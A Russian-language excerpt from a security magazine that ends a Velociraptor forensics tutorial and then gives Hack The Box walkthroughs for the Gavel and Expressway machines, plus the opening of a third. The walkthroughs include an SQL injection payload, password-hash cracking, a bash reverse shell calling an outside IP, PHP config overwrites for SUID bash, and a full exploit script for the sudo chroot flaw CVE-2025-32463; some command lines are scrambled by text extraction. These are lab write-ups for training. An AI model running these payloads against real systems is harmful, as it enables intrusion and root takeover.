с нелегитимными владель‐

цами

Помогает найти подозритель‐

ное владение файлами и ано‐

мальные привилегии

Linux.Forensics.

EnvironmentVariables

Ищет возможные механизмы

закрепления в Linux, анализи‐

руя файлы переменных среды

и login-скрипты

Помогает выявить попытки

эксплуатации по MITRE

ATT&CK: T1546.004

Linux.System.BashLogout Анализирует файлы выхода

Bash и ищет аномальную

активность

Такие файлы могут выполнять

команды при выходе поль‐

зователя, например очищать

оболочку или состояние тер‐

минала. Злоумышленник

может использовать это для

зачистки логов, сокрытия

следов и удаления файлов

Linux.System.PAM Перечисляет релевантные

строки из файлов в /etc/

pam.d/

Полезно для аудита, компла‐

енса и поиска подозритель‐

ной активности в Linux

Такую таблицу ты тоже можешь собрать сам — если захочешь. Главный прин‐
цип инструмента прост: он отвечает только на  те вопросы, которые ты
задашь. В  этом и  плюс: из  множества запросов ты собираешь подробный
отчет.

Если тебя интересует что‑то актуальное только для твоей инфраструктуры,
например из‑за специфики хостов и  систем, с  помощью VQL ты можешь
написать собственный артефакт, а  затем добавить его вручную в  конструк‐
торе. А если захочешь, потом сможешь поделиться им с сообществом — и он
пригодится не только тебе.

На следующей вкладке ты увидишь параметры хоста, с  которыми будут
работать плагины.

Нажми на  значок гаечного ключа, чтобы посмотреть параметр и  при необ‐
ходимости изменить его.

На следующей вкладке ты можешь настроить лимиты задачи: ограничения
по CPU, максимальное время выполнения и простоя в секундах, число логов,
максимальный размер файла с артефактом, частоту трассировки и приоритет
запуска.

На следующем этапе можно целиком посмотреть текст задачки, которую
показывает VQL-запрос.

После клика по Launch задача появляется в очереди и ждет запуска. Выдели
ее и нажми Start — кнопку с треугольником на верхней панели.

Я не  задавал особых ограничений, поэтому задача останется в  статусе
выполнения, но на клиентах можно проверить, отработала она или нет.

Честно говоря, когда я открыл список клиентов, которым передали задачу, то
увидел ошибку выполнения. Но  рядом уже были результаты, и  цифры там
немаленькие. Похоже, часть плагинов просто не отработала — надо смотреть
и разбираться.

Открой вкладку Notebook: там результаты показаны в  виде таблиц. Если
клиентов несколько, удобнее смотреть данные по хостам, а не общей свод‐
кой  — в  этом море информации легко утонуть. Если у  тебя в  задаче всего
один хост, можно работать и  здесь. Я буду смотреть по  хостам: у  каждого
в задачах есть .example_linux

Полей тут много, поэтому можно отфильтровать лишнее и оставить только то,
что нужно тебе. Если это не подходит, выгрузи отчет в CSV и разбирай его уже
там. А если нажмешь на значок бинокля на панели, на экране появится ответ
клиента в формате JSON.

Тут я специально «нахулиганил», чтобы показать, как работает плагин. Обрати
внимание на  дату: это  вчерашняя пометка для  подготовки фактуры, позже я
ее уберу.

Эта активность намеренная: я настроил систему так, чтобы при запросе исто‐
рии терминала показывались номер команды, время выполнения и ее текст,
а частые команды не дублировались. Для админа это удобная фича, рекомен‐
дую.

На вкладке Collected ты увидишь задачи, которые уже отработали на  хосте.
В  их описании указаны плагины, которые использовались для  сбора
информации. Если кликнуть по  задаче, на  вкладке Requests откроется VQL-
запрос, который в  ней запускался. Results покажет результат выполнения
на этом хосте, при этом ты можешь выбрать, какие колонки отображать. Log
выводит этапы выполнения по шагам, а Notebook тоже показывает результат
в виде таблиц. Чтобы просматривать широкие таблицы, прокручивай нижний
ползунок.

Какой вердикт можно вынести по этому анализу хостов? Примеров можно
набрать сколько угодно. После моих действий на  хостах часть плагинов
показывает следы намеренно подозрительной активности, а  где‑то данных
вообще нет. Это не значит, что плагин «кривой», — просто он не задетектил
активность.

Потихоньку подбираюсь к  одной интересной штуке, которая может зат‐
ронуть хосты при большом количестве задач. Если перегрузить хост задача‐
ми, возможны сбои, а в какой‑то момент он может просто упасть.

Но тут хочу отметить еще одну фичу Velociraptor, которая мне очень нравит‐
ся, — live shell. Для админа это чуть ли не последний шанс.

Я сам попадал в  такую ситуацию: хост пингуется из  сети, в  маршрутиза‐
торе светится как  активный, но  сервисы недоступны  — в  браузере ошиб‐
ка  500, агенты СЗИ тоже не  отвечают. По  факту хост отвалился от  сети.
Но агент Velociraptor жив и отвечает.

Если все совсем плохо, обычно остается только старый добрый совет  —
жесткая перезагрузка. Но здесь меня выручил live shell.

Кнопка запуска  — в  правом верхнем углу интерфейса. Все команды выпол‐
няются с правами root, так что будь аккуратен: здесь легко выстрелить себе
в ногу.

Нажимаешь на  значок глаза  — и  видишь результат. Только автодополнение
команд не  работает, так что вводить их нужно целиком, иначе Velociraptor
ничего не выдаст — просто не поймет. Насколько я понимаю, это примерно
как работа интерпретатора на уровне ядра системы.
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В этом примере сразу видно, что хост активен и доступен, без возни с коман‐
дной строкой и диагностическими запросами к статусам агентов. Для адми‐
нистратора это еще один удобный способ использовать сервис.

Исследуем Windows-хост
Linux  — это  хорошо. Но  что Velociraptor может предложить администратору
Windows? Для удобства можно даже сгруппировать нужные артефакты, чтобы
проще увидеть полную картину.

Ключевые артефакты форензики

Артефакт Что делает Зачем использовать

Windows.EventLogs.Evtx Собирает журналы событий

Windows. Можно ограничить

сбор нужным периодом

Помогает восстановить хро‐

нологию событий: входы

в систему, действия поль‐

зователей и ошибки

Windows.Timeline.Prefetch Собирает файлы Prefetch —

сведения о недавно запус‐

кавшихся приложениях

Показывает, какие прог‐

раммы запускались на сис‐

теме и как часто

Windows.Forensics.Lnk Собирает LNK-файлы, то есть

ярлыки. В них хранится

информация о недавно

открывавшихся файлах

Может вывести на источник

заражения или показать,

с какими документами недав‐

но работали

Информация о системе и активности (System & Activity)

Артефакт Что делает Зачем использовать

Windows.Sys.Processes (или

Windows.System.Pslist)

Показывает список запущен‐

ных процессов — по сути,

расширенный аналог дис‐

петчера задач: командная

строка, пользователь, хеши

и другие детали

Базовый артефакт для поиска

подозрительных процессов

и вредоносов

Windows.Sys.StartupItems

(или

Windows.Registry.RunKeys)

Показывает программы,

которые запускаются авто‐

матически: ключи реестра

и содержимое папок автозаг‐

рузки

Помогает найти механизмы

закрепления злоумышленни‐

ка в системе

Артефакты безопасности

Артефакт Что делает Зачем использовать

Windows.Sysinternals.Autoruns Запускает Autoruns

из Sysinternals, чтобы

показать все точки автозаг‐

рузки

Один из самых полных инс‐

трументов для поиска злов‐

редов, которые маскируются

в автозагрузке

Windows.Detection.Yara* Сканирует файлы или память

по правилам YARA

Мощный инструмент

для поиска вредоносного

ПО по сигнатурам

Windows.EventLogs.PowerShe

ll*

Собирает события PowerShell Помогает заметить запуск

вредоносных скриптов

и подозрительных команд

Windows.EventLogs.RDPAuth* Собирает события аутен‐

тификации RDP

Показывает историю подклю‐

чений к удаленному рабочему

столу

Думаю, если ты работаешь в Windows, тебе будет интересно с помощью этого
инструмента самому собрать информацию о  своем хосте. Тут тоже хватает
самых разных артефактов, так что я подготовил небольшую диагностическую
задачку для Windows.

«Охота» началась... Проверим встроенные артефакты: были ли подключения
к хостам по RDP, какие фоновые процессы крутились, что нашли сигма‑пра‐
вила в логах и что лежит в файлах hosts в системе.

Данные собраны, но  вкладка Notebook пустая. Ничего, можно посмотреть
через хосты. Так и сделаю: пройдусь по каждому и соберу общую картину.

Журнал Sysmon/Operational, агент которого я поставил на хост, детектировал
успешные подключения к хосту и отключения от него.

Хост почти пустой и не настроен: софта на нем практически нет.

Файл hosts хранит сопоставления IP-адресов хостов и их FQDN-имен, поэто‐
му он обычно небольшой.

По активным процессам в  системе информации мало, и  это неудивительно:
с хостом я сейчас не работаю, ничего не запущено.

На втором хосте, с которым я сейчас работаю, Velociraptor собрал куда боль‐
ше информации. Погнали!

По этому хосту удалось собрать информацию о  нескольких программах,
работающих в фоне, — все они мне известны и выглядят безопасно. Локаль‐
ные входы в  пользовательскую сессию тоже в  норме: это  мои собственные
действия. Список установленного на  хосте софта и  его происхождение мне
известны, информация о  файле hosts тоже подтвердилась. Сторонней
активности, которую могли бы задетектить сигма‑правила, я не вижу. Ничего
криминального.

Как работать «в полях»
Логичный вопрос: можно ли вытащить информацию с хоста без подключения
к  нему? Например, с  зараженной машины или  системы, которую кто‑то уже
успел потрогать. Да, можно: собрать офлайн‑коллектор с  плагинами в  виде
исполняемого файла, запустить его на  хосте, а  потом загрузить результаты
в веб‑интерфейс и разобрать их уже на сервере.

Нажми на значок бумажного самолетика и так же создай небольшую задачку.
Я для примера выбрал другие плагины и взял свой хост.

После того как  на вкладке Uploaded Files сформируется файл, скачай его
и запусти в системе.

После запуска в  окне командной строки видно, как  работает сборщик, а  в
этом же каталоге появляются артефакты для  анализа. Лог тоже сохраняется
в отдельный файл.

В архиве лежат все нужные файлы, и ты можешь просматривать их по отдель‐
ности. Затем загрузи архив в Velociraptor и запусти анализ через задачу с пла‐
гином Server.Utils.ImportCollection.

Когда создаешь задачку, обязательно указывай полный путь к файлу архива.
После запуска в  разделе клиентов появится новый «виртуальный клиент»  —
его легко узнать: он без меток.

На вкладке Collected в  клиенте ты увидишь задачу, выполненную офлайн,
и сможешь проанализировать ее так же, как в предыдущем примере.

Продолжение статьи →
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Результат один и тот же — отличается только способ сбора. Первый вариант
лучше подходит для  администрирования и  мониторинга, второй  — для  кри‐
миналистики. В итоге все упирается в твои задачи.

Исследуем хосты на macOS
Я пользуюсь несколькими устройствами на  macOS и  подумал, что этот инс‐
трумент наверняка подойдет и  для них. Готового сценария сбора у  меня,
конечно, не  было, но  я все‑таки набросал план. Что я хочу вытащить
из «маков»?

Разберем, какие артефакты Velociraptor лучше всего подходят для иссле‐
дования macOS и что с поддержкой Apple Silicon.

Во встроенной библиотеке Velociraptor и коллекции Exchange есть десятки
артефактов для  macOS. Я выбрал рекомендованные артефакты для  macOS
из версии 0.75.1.

Вот самые полезные из  них  — я сгруппировал их по  задачам. Список
основан на практике и рекомендациях сообщества.

Артефакт Что делает Зачем использовать

MacOS.System.Users Показывает список локаль‐

ных пользователей, их UID,

домашние директории и обо‐

лочки

Помогает быстро понять,

какие учетные записи есть

в системе

MacOS.System.Plist Собирает содержимое фай‐

лов настроек .plist

Упрощает разбор конфигура‐

ции системы, автозагрузки

приложений через

LaunchAgents

и LaunchDaemons и других

важных настроек

MacOS.System.Wifi Извлекает данные о сетях

Wi‑Fi, к которым подключался

компьютер: SSID и дату пос‐

леднего подключения

Полезно для геолокации

устройства во время рассле‐

дования

MacOS.Applications.MRU Показывает список недавно

открытых документов (Most

Recently Used)

Помогает понять, с какими

файлами недавно работали

MacOS.Applications.Chrome.H

istory

Извлекает историю браузера

Google Chrome

Если пользователь сидит

в Chrome, ты получишь спи‐

сок посещенных URL

MacOS.Network.Netstat Показывает текущие сетевые

соединения, открытые порты

и состояние сокетов

Помогает находить подоз‐

рительные исходящие под‐

ключения

MacOS.Sys.Pslist Показывает список запущен‐

ных процессов

Помогает заметить подоз‐

рительные или нехарак‐

терные процессы

MacOS.Detection.InstallHistory Собирает историю установ‐

ленного ПО: пакеты 

и системные обновления

.pkg

Полезно при поиске нежела‐

тельного или вредоносного

софта

MacOS.Detection.Yara.Proces

s

Запускает YARA-сканиро‐

вание процессов; хотя

TrustedSec не упоминает этот

артефакт отдельно,

Velociraptor умеет мощно ска‐

нировать процессы и файлы

в macOS

Нужен для поиска вредонос‐

ного ПО по сигнатурам

Шаги везде одинаковые: сначала ставим задачу, потом собираем плагины,
запускаем, ждем результат и  анализируем его. В  этом и  есть универсаль‐
ность подхода Velociraptor.

Velociraptor написан на Go и отлично компилируется под Darwin/ARM64. Зна‐
чит, на  компьютере с  чипом M-серии тебе достаточно скачать клиент
для macOS ARM64 и запустить его.

Артефакты  — это  сценарии на  VQL, которые описывают, какие данные
собирать, а  не как  выполнять сбор на  низком уровне. VQL-запросы,
на  которых строятся артефакты, не  зависят от  архитектуры процессора:
для  сбора информации они используют API операционной системы, а  не
машинные инструкции.

Может ли возникнуть несовместимость? Теоретически да: если какой‑то
очень специфичный артефакт пытается дернуть сторонний бинарник, соб‐
ранный только под  Intel, он может не  взлететь на  M1  даже с  Rosetta. Но  в
реальности это  редкость: почти все стандартные и  популярные артефакты
для macOS, включая те, что мы перечислили выше, используют только встро‐
енные возможности macOS и  VQL, так что они работают на  любой архитек‐
туре. И это как раз хорошая новость.

Отдельно отмечу жирный плюс инструмента: если щелкнуть по  ссылке
или  хешу правой кнопкой мыши, можно сразу отправить их на  анализ
в Google, CyberChef или VirusTotal.

Что могу сказать о  своих macOS-хостах? Они чистые, никакого криминала.
В  логах нет следов посторонней активности. Все, что инструмент пометил
как подозрительное, — либо мои «хулиганства», либо сервисы, которые я сам
настроил.

Можно ли использовать Velociraptor для регулярного аудита парка систем?
Да, можно. Причем необязательно постоянно держать на  клиенте запущен‐
ный сервис или  демон  — достаточно добавить в  планировщик задачу,
которая будет отправлять на сервер нужные данные. Если клиент или сервер
в какой‑то момент недоступны, информация уйдет позже и обновится, так что
ты сможешь поддерживать актуальный статус хостов по заданным критериям
безопасности.

Если ты криминалист и  работаешь в  полях, Velociraptor быстро, точно
и  безопасно соберет все, что нужно. Если ты админ, Velociraptor поможет
с диагностикой, отчетами и аварийным восстановлением хостов в твоей сети.

Помни главное: большие привилегии  — это  и большая ответственность!
Если используешь инструмент легитимно, ты «бог»; если нет — потенциаль‐
ный злоумышленник в собственной сети.

ВЫВОДЫ

В нашем исследовании этого инструмента мы с тобой прошли длинный путь:
от  установки сервера на  РЕД ОС и  настройки агентов на  трех совершенно
разных операционных системах до простых «охот», разбора конкретных арте‐
фактов и даже экстренного доступа через live shell.

Вывод напрашивается: Velociraptor — не просто еще одна утилита в арсе‐
нале, а почти смена парадигмы. Вместо того чтобы складировать терабайты
логов «на всякий случай», ты задаешь системе точные вопросы и  сразу
получаешь ответы. Вместо паники во  время инцидента  — спокойный,
методичный сбор улик. Вместо «танцев с бубном» при диагностике упавшего
сервера — живая оболочка в пару кликов.

Для сисадмина этот инструмент — универсальный пульт управления пар‐
ком машин. Инвентаризация софта, поиск того, кто перезагрузил сервер
прошлой ночью, проверка настроек безопасности, удаленный запуск
команд  — все это  больше не  выглядит как  набор разрозненных скриптов,
а превращается в простой и прозрачный процесс.

Криминалисту (или админу, который взял на  себя эту роль) Velociraptor
дает почти суперсилу. То, на что раньше уходили дни и требовалась сложная
инфраструктура, теперь можно провернуть за часы, а то и за минуты. Вместо
дампов, в которых легко утонуть, ты видишь картину целиком.

Конечно, у этого «зверя» есть характер. VQL требует уважения и времени
на освоение, а ответственность за инфраструктуру целиком ложится на тебя.
Но, как ты уже наверняка убедился, оно того стоит.

В умелых руках Velociraptor превращается и в машину времени, с которой
можно заглянуть в прошлое любого хоста, и в скальпель, позволяющий акку‐
ратно отделить важное от второстепенного.

Удачной охоты! © X
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HACK THE BOX

Сегодня я покажу процесс эксплуатации
SQL-инъекции в расширении runkit, которое
часто ставят на  веб‑сервер для  работы
проектов на PHP. Получив сессию на хосте,
подменим файлы с  настройками, чтобы
выполнить код в  чекере конфигов через
runkit PHP и повысить привилегии.

Наша цель — получение прав суперпользователя на машине Gavel с площад‐
ки . Уровень сложности — средний.Hack The Box

WARNING

Подключаться к  машинам на  HTB лучше через
средства анонимизации и  виртуализации.
Не делай этого с компьютеров, где хранятся важ‐
ные для тебя данные: ты окажешься в общей сети
с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  ./etc/hosts

10.129.242.203    gavel.htb

И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг почти в любой атаке. Оно
помогает атакующему понять, какие службы на хосте принимают соединения.
Исходя из этого, он выбирает следующий шаг, чтобы получить точку входа.

Самый известный инструмент для  сканирования  — Nmap. Улучшить
результаты его работы можно с помощью следующего скрипта.

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он работает в  два этапа. Сначала выполняется обычное быстрое сканиро‐
вание, затем  — более тщательное, с  использованием имеющихся скриптов
(опция ).-A

Подробнее о работе с Nmap читай в статье «
».

Nmap с самого начала. Осва‐
иваем разведку и сканирование сети

Результат работы скрипта

Сканер нашел два открытых порта:
22 — служба OpenSSH 8.9p1;•
80 — служба Apache HTTP Server 2.4.52.•

Как обычно в таких случаях, начинаем с сайта на веб‑сервере. Но обрати вни‐
мание, что Nmap обнаружил там репозиторий Git.

Главная страница сайта

ТОЧКА ВХОДА

Раз есть Git, проверим, нет ли еще чего‑нибудь интересного. Для этого прос‐
канируем подкаталоги, используя .feroxbuster

Справка: сканирование веба c feroxbuster
Одно из  первых действий при  тестировании безопасности веб‑приложе‐
ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде ,  или  . Я предпочитаю

.
dirsearch DIRB ffuf

feroxbuster
При запуске указываем следующие параметры:

 — URL;• -u
 — глубина сканирования;• -d
 — количество потоков;• -t
 — словарь (я использую словари из набора );• -w SecLists
 — отключает проверку TLS/SSL-сертификата;• -k
 — фильтрует ответы с определенным статус‑кодом (например, 404).• -C

  1  128  404 feroxbuster -k -u http://monitorsfour.htb/ -d -t -C -w 
files_interesting.txt

Результат сканирования каталогов с помощью feroxbuster

Теперь сдампим весь репозиторий с помощью .git-dumper

python3 git_dumper.py http://gavel.htb/.git gavel

Копирование репозитория

Поскольку Git хранит всю историю изменений, стоит проверить, не  сох‐
ранялось ли когда‑нибудь в  проекте что‑то полезное. Для  удобного прос‐
мотра можно использовать VSCodium. В истории изменений ничего интерес‐
ного нет. Обрати внимание на  файл YAML с  сообщениями и  правилами.
В поле  записан код на PHP — это уже интересно, так что будем копать

в эту сторону.

rule

История изменений

Попробуем найти место, где код правил передают на  выполнение,  — нап‐
ример, в  файле  с  помощью функции

.
bid_handler.php

runkit_function_add

Содержимое файла bid_handler.php

Функция  из  PECL-расширения runkit позволяет

динамически добавлять новые функции во время выполнения скрипта на PHP.
Значение правила можно задать на странице , но для этого нужна

привилегированная учетная запись.

runkit_function_add

admin.php

Содержимое файла admin.php

В файле  параметр из  пользовательского запроса попадает
в запрос к базе данных, что может привести к SQL-инъекции.

inventory.php

Содержимое файла inventory.php

Создадим на  сайте свою учетную запись, авторизуемся и  выполним запрос
к   через Burp Suite.inventory.php

История в Burp History

Отправляем запрос в Burp Repeater с такой нагрузкой, чтобы получить логины
и хеши паролей пользователей.

user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)
+AS+`'%27x`+FROM+users)y;--+-&sort=\\?;--+-%00

В параметре  важно передать , так как  PDO ищет плейсхолдеры 

до  того, как  разберет синтаксис MySQL, а   после комментария MySQL
будет для  PHP указателем конца строки. В  ответе сервера получаем список
учетных данных.

sort \? ?
%00

Результат эксплуатации SQL-инъекции

Полученный хеш можно быстро сбрутить с помощью . Это хеш bcrypt,

поэтому указываем режим 3200 (параметр ).

hashcat

-m

hashcat -m 3200 '$2y$10$MNkDHV6g16FjW/
lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' rockyou.txt

Результат подбора пароля

С полученными данными для входа авторизуемся от имени привилегирован‐
ной учетки .auctioneer

Главная страница администратора

ТОЧКА ОПОРЫ

Теперь, когда у нас есть права администратора, мы можем внедрить свой код
в   через  на странице . В качестве пей‐

лоада используем такой реверс‑шелл:

runkit_function_add rule admin.php

bash  -c 'bash -i >& /dev/tcp/10.10.15.65/4321 0>&1'

Запускаем его через функцию .exec

  exec("bash -c 'bash -i >& /dev/tcp/10.10.15.65/4321 0>&1'"); return
true;

Отправка нагрузки

Теперь запускаем листенер ( ) и триггерим выполнение
нашего кода, повысив ставку на странице .

pwncat-cs -lp 4321
bidding.php

Содержимое страницы bidding.php

Почти мгновенно в консоли листенера ловим сессию пользователя веб‑сер‐
вера .www-data

Сессия www-data

ПРОДВИЖЕНИЕ

В системе проверяем пользователей с  доступом к  консоли и  находим там
учетную запись администратора веб‑сервера.

bashcat /etc/passwd | grep 

Пользователи с командной оболочкой

Нередко люди используют один и  тот же пароль в  нескольких сервисах,
поэтому попробуем войти под учетной записью .auctioneer

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нужно собрать информацию. Я буду использовать для этого скрипты
PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим ему права на  выпол‐
нение и запустим сканирование. В выводе будет много информации, поэтому
выберем только самое важное.

В списке процессов виден какой‑то сервис ./opt/gavel/gaveld

Дерево процессов

Пользователь добавил исполняемый файл ./usr/local/bin/gavel-util

Исполняемые файлы, добавленные пользователем

Для теста запустим найденный файл и посмотрим, что получится. Доступные
команды позволяют отправить YAML-конфиг, показать статус аукциона и про‐
голосовать.

Справка файла gavel-util

В каталоге  находим пример конфигурации. Здесь тоже есть

параметр  с  кодом на  PHP. Скорее всего, он тоже передается

в  , но на этот раз — в привилегированном контексте.

/opt/gavel
rule

runkit_function_add

Содержимое каталога /opt/gavel

Но в  этот раз функции для  выполнения команд отключены, на  что указывает
конфиг .php.ini

Содержимое файла php.ini

Однако в этом случае можно попробовать перезаписать файл  и тем

самым убрать из  него отключение функций. Для  этого составим следующий
конфиг:

php.ini

 name: r1
 description: r1

 image: "r1.png"
 price: 1

 rule_msg: "r1"
 rule: file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\

ndisplay_errors=On\nopen_basedir=\ndisable_functions=\n"); return 
false;

Затем через  отправляем полезную нагрузку.gavel-util

/usr/local/bin/gavel-util submit /home/auctioneer/r1.yaml

После перезаписи конфига с  помощью  назначаем файлу командной
оболочки  бит SUID.

exec
/bin/bash

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,
запускающий этот файл, получает повышение прав до  пользователя  — вла‐
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из‑за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

 name: r2
 description: r2

 image: "r2.png"
 price: 2

 rule_msg: "r2"
 rule: exec('chmod u+s /bin/bash'); return false;

Отправляем второй конфиг и проверяем атрибуты ./bin/bash

/usr/local/bin/gavel-util submit /home/auctioneer/r2.yaml

Эксплуатация инъекции

Запускаем новую командную оболочку от имени .root

Флаг рута

Машина захвачена! © X
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HACK THE BOX

Сегодня я покажу, как можно повысить при‐
вилегии в  Linux с  помощью критической
уязвимости в  sudo версии  1.9.17. Но  сна‐
чала получим доступ к системе через IKEv1
Aggressive Mode: извлечем и  затем под‐
берем Pre-Shared Key (PSK).

Наша конечная цель  — получение прав суперпользователя на  машине
Expressway с учебной площадки . Уровень ее сложности отмечен
авторами как легкий.

Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.87    expressway.htb

И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Подробнее про  работу с  Nmap читай в  статье «
».

Nmap с  самого начала.
Осваиваем разведку и сканирование сети

Результат работы скрипта

По результатам сканирования имеем всего один открытый порт 22 — служба
OpenSSH 10.0p2.

ТОЧКА ВХОДА

На сервере открыт только SSH, так что стоит поискать точки входа на  UDP-
портах. Просканируем топ-100 портов с помощью скриптов.

nmap   100sudo -sU 10.10.11.87 -A --top-ports

Результат сканирования портов UDP

В результате сканирования находим UDP-порт 500. Его используют для уста‐
новления защищенных VPN‑соединений с  помощью протокола 

.
Internet Key

Exchange (IKE)
IPsec — стандарт для создания защищенных сетей, который обеспечивает

безопасность IP-пакетов с  помощью механизмов аутентификации и  шиф‐
рования. Ключевой протокол, отвечающий за установку защищенных каналов
в IPsec, — IKE: он позволяет автоматически обмениваться ключами и догова‐
риваться об алгоритмах шифрования.

Типовая схема VPN с  IPsec и  IKE использует протокол IKEv1 в следующих
режимах:

Main Mode — безопасный режим обмена в шесть сообщений с конфиден‐
циальной передачей идентификаторов и ключей;

•

Aggressive Mode — быстрый режим обмена в три сообщения, при котором
идентификаторы и параметры могут передаваться в открытом виде.

•

Первым делом получим больше информации об используемом протоколе IKE
с  помощью утилиты . Для  сканирования используем параметр 

(многопакетный режим): в  этом случае утилита посылает несколько
IKE‑пакетов, анализирует ответы и  группирует их, что повышает надежность
определения.

ike-scan -M

sudo ike-scan -M 10.10.11.87

Ответ сервера

В ответе сервера видим значение , а  также  и 

.

Auth=PSK XAUTH Dead Peer
Detection v1.0

Один из  распространенных методов аутентификации  — PSK (Pre-Shared
Key), предварительно разделенный ключ, который вместе с  дополнительной
аутентификацией XAUTH (логин/пароль) образует двухфакторную аутен‐
тификацию.

PSK-аутентификация в  Aggressive Mode позволяет перехватить и  офлайн
перебрать хеш, потому что рукопожатие передает HMAC-запросы в открытом
виде.

Для этого снова запускаем  в  многопакетном режиме ( )

с Aggressive Mode ( ), указываем фейковый идентификатор пользователя (

) и сохраняем хендшейк для перебора ( ).

ike-scan -M
-A -

n -P

   sudo ike-scan -P -M -A -n fakeID 10.10.11.87

Получение хеша

В ответе внимание на  себя обращает идентификатор пользователя XAUTH
. Также получим хеш IKEv1 PSK, который можно

перебрать с помощью .

Value=ike@expressway.htb
psk-crack

psk-crack -d rockyou.txt hash.txt

Результат подбора пароля

У нас есть логин и пароль, с которыми удалось подключиться по SSH и заб‐
рать пользовательский флаг.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и  запустим сканирование. В  выводе много всего, но  из важного  — только
версия sudo: 1.9.17.

Версия sudo

В этой версии есть известная уязвимость , которая позволя‐
ет повышать свои привилегии до  контекста root. Эта уязвимость связана
с опцией  (или ), предназначенной для запуска команд в изолиро‐

ванной файловой системе.

CVE-2025-32463

--chroot -R

В sudo до версии 1.9.17p1 сначала выполняется  в пользователь‐
ский каталог, а  уже потом из  этого каталога загружается конфигурация NSS
(Name Service Switch), то есть до проверки правил .

chroot()

sudoers
NSS  — это  механизм glibc для  разрешения имен пользователей и  групп

(через файл ), который динамически подгружает биб‐
лиотеки  (например,  для локальных фай‐

лов). Поэтому, если атакующий контролирует chroot-каталог, он может под‐
менить  и  подложить вредоносную библиотеку, которая
выполнится с привилегиями sudo (root) при загрузке, еще до аутентификации.

/etc/nsswitch.conf
libnss_*.so.2 libnss_files.so.2

nsswitch.conf

В следующем эксплоите автоматически выполняются переход во времен‐
ный каталог, подмена файла , создание и запуск библиотеки,

которая откроет шелл с UID 0, то есть от имени пользователя root.

nsswitch.conf

#!/bin/bash

 STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
   1cd ${STAGE?} || exit 

   0  if [ $# -eq ]; then
    CMD="/bin/bash"
else
    CMD="$@"
fi

   |     CMD_C_ESCAPED=$(printf '%s' "$CMD" sed -e 's/\\/\\\\/g' -e 's/"/\"/
g')

 cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

 mkdir -p woot/etc libnss_
  echo "passwd: /woot1337" > woot/etc/nsswitch.conf

cp /etc/group woot/etc
gcc   -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

 echo "woot!"
 sudo -R woot woot

  rm -rf ${STAGE?}

Флаг рута

Запускаем эксплоит, и машина захвачена! © X
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HACK THE BOX

Сегодня я покажу, как  Local File Inclusion
может дать удаленное выполнение кода
через php://filter chain — без загрузки фай‐
лов и  прямого веб‑шелла. Но  сначала нас
ждет цепочка уязвимостей: через IDOR
читаем чужие сообщения, добываем доступ
к  Git-сервису, эксплуатируем XSS
в  PhpSpreadsheet, перехватываем сессию
преподавателя и  через CSRF создаем
администратора.

Наша цель — получить права суперпользователя на машине Guardian с учеб‐
ной площадки . Уровень задания — сложный.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в файл :/etc/hosts

10.10.11.84    guardian.htb

